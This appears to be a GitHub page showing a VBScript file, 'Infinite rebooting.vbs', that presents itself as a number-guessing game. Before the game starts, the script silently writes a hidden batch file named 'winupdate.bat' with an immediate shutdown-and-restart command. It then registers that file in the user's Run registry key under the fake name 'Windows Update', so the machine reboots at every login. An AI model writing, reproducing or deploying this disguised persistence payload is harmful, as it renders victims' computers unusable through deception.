-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathInfinite rebooting.vbs
49 lines (45 loc) · 1.43 KB
/
Infinite rebooting.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Option Explicit
On Error Resume Next
Set oFileSystem = CreateObject("Scripting.FileSystemObject")
Set WshShell = CreateObject("WScript.Shell")
' Install the reboot script
app_data = WshShell.ExpandEnvironmentStrings("%APPDATA%")
full_install = app_data & "\winupdate.bat"
If Not oFileSystem.FileExists(full_install) Then
Set reboot_script = oFileSystem.CreateTextFile(full_install)
reboot_script.WriteLine("shutdown -r -t 00")
reboot_script.Close()
WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update", full_install, "REG_SZ"
Set rs_map = oFileSystem.GetFile(full_install)
rs_map.Attributes = 2
End If
Sub NumbersGame
done = False
total_guesses = 0
Randomize
target = FormatNumber(Int((100 * Rnd) + 1))
Do Until done
input = InputBox("Type your guess:", "Pick a number between 1 and 100")
total_guesses = total_guesses + 1
If Len(input) <> 0 Then
If IsNumeric(input) Then
If FormatNumber(input) = target Then
MsgBox("Yes, the random number is " & input & " and it took you " & total_guesses & " guesses to get there!")
done = True
End If
If FormatNumber(input) < target Then
MsgBox("Your guess is too small")
End If
If FormatNumber(input) > target Then
MsgBox("You guess is too large")
End If
Else
MsgBox("Please enter in a number.")
End If
Else
MsgBox("Please play again soon!")
done = True
End If
Loop
End Sub
Call NumbersGame